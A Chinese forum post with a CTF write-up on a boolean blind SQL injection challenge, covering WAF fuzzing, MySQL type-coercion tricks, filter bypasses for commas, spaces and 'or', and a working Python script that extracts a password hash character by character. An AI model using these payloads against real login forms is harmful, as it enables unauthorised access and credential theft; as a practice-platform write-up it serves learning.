[Writeup] 旧CTF练习平台-sql注入2-有趣的布尔盲注

[复制链接]
查看12591 | 回复3 | 2019-4-11 11:40:13 | 显示全部楼层 |阅读模式
本帖最后由 young22222 于 2019-4-11 11:58 编辑

URL: [http://123.206.87.240:8007/web2/](http://123.206.87.240:8007/web2/)
做出来这道题的人很多,但是我估计很多人都是直接下载的flag,而并没有真的理解这道题的深意。
接下来我就来按照正解的方式来去挑战一下这道题。

一,试探

主页只有一个登陆框,和几个没有链接的导航。打眼看起来像是sql注入题目。



随手测试一下,用户名,密码不能为空,而且用户名不正确会弹窗:



所以是需要用户名的,测试一下admin,果然有区别:



所以猜测考点是要靠sqli获得admin的密码。

二,深入
既然猜到考点是sqli,就先fuzz一下username,发现过滤内容极多:

   

遇到这种棘手的情况,就只能先找找没被过滤的关键字,不难发现:```SELECT - + ^ ( ) ' SLEEP```

这么看还是给了一丢丢机会的,而且有单引号起码可以闭合了,说明大方向应该没错。可是该怎么利用其余关键字来获取密码呢?还是得先从猜测后台语句入手,再简单fuzz一下passwd,发现根本没有过滤,有三种可能:

  1. 就是未对passwd进行过滤,存在注入点(事实上并不可能)
  2. sql语句中没有对passwd参数直接使用
  3. 先通过对username的判断,才进入对passwd的判断(经测试username为admin的情况再对paswd fuzz发现并不是这种情况)

经分析后台的查询语句应该只用到了username参数,类似于:

    select * from table_name where username="$_POST['uname']"

三,攻坚
基本情况已经摸清了,接下来就是想办法在不被waf的情况下解决难题了

(一)先摸清楚注入类型

1. **闭合条件:**很简单能测出来,用 `username='-'&passwd=1`弹出passwd错误,说明果然是`'`闭合
2. **注入类型:**因为有两种弹窗的存在,我倾向于**布尔盲注**。虽然SLEEP函数没有被过滤,但是时间盲注比较麻烦。

(二)构造payload
1. 需要注意这几个常用的关键字都被过滤了:

    ```, and or && || 空格 注释符 REGEXP```
  
    所以想构建Payload十分有难度。
2. 由于表中'username'字段(也可能不是这个名字)一定是一个字符串类型,但是mysql中将字符串型和数字型用等号连接时,会将字符串进行强制类型转换,举个例子:

   

    从图中可以看出,当把字符串类型变量和数字型变量用运算符连接时,会把字符串类型转化为数字型(转化规则就是会将字符串转化为其中为数字的前几位,如果第一位是字母则为零,比如'2a'就是2,'a'就是0)

    根据这个原则,就可以控制查询语句等于号之后的内容,如果为零,查询成功,反之查询失败,以此来进行布尔盲注
3. 再来进行一个测试,用`-或^`来构造0和非0

   
   
4. 模型都已经有了,把查询语句填进去就好了,注意好绕开过滤关键字就行了,用一些套路就可以了。  
    比如绕开逗号:mid(passwd from 1 for 1)  
    需要注意这道题还过滤or所以得用一个小技巧就是from -n再取反,再取 -1 ,就能每次都取到前一位的值:

   
        

    绕开空格:%20,%00,%0a,%0b,/**/    但是这道题不知道怎么回事都用不了,我就直接用括号规避了   

最终脚本如下:

  
  1.   import requests

  2.     #1 - username
  3.     #0 - passwd
  4.     flag = ""
  5.     for i in range (1,100):
  6.         for j in range (33,127):
  7.             #payload = "'^(select(ascii(mid(reverse(mid(database()from(-%d)))from(-1))))=%d)^'"%(i,j) #ctf
  8.             #payload = "'-(select(ascii(mid(reverse(mid(database()from(-%d)))from(-1))))=%d)-'"%(i,j) #ctf
  9.             payload = "'-(select(ascii(mid(reverse(mid((passwd)from(-%d)))from(-1))))=%d)-'"%(i,j) #0192023a7bbd73250516f069df18b500
  10.    
  11.             session = requests.Session()
  12.             paramsPost = {"uname":payload,"passwd":"123"}
  13.             headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://123.206.87.240:8007/web2/index.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"}
  14.             cookies = {"PHPSESSID":"d1g873joettptppsag3h2helt63e61ea"}
  15.             response = session.post("http://123.206.87.240:8007/web2/login.php", data=paramsPost, headers=headers, cookies=cookies)
  16.    
  17.             #print("Status code:   %i" % response.status_code)
  18.             #print("Response body: %s" % response.content)
  19.             if 'illegal character' in response.content:
  20.                 print 'illegal'
  21.                 exit(0)
  22.    
  23.             if 'username' in response.content:
  24.                 flag=chr(j)+flag
  25.                 print flag
  26.         
复制代码
收尾

    得到密码后发现是一个32字节的字符串,猜测是md5,在SOMD5网站上破解一下得到"test123"。
    用用户名和口令登陆即可进入后台,提示输入"ls"命令,输入即可得到flag。

总结
   总的来说是出的很好的一道题,极大考验了多个关键字的绕过能力,写脚本能力,更进一步的掌握了SQL布尔盲注的方法,很适合每个CTFer都做一遍的题。



评分

参与人数 1银两 +3 收起 理由
Harry + 3

查看全部评分

回复

使用道具 举报

young22222 | 2019-4-11 20:16:37 | 显示全部楼层
密码是'admin123',记混了抱歉
回复

使用道具 举报

wisdom_HE | 2019-8-24 10:47:02 | 显示全部楼层
很不错,学习了
回复

使用道具 举报

dtjllgood | 2020-11-17 08:52:46 | 显示全部楼层
讲解很详细了
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

2

主题

5

帖子

49

积分

初入江湖

Rank: 2

积分
49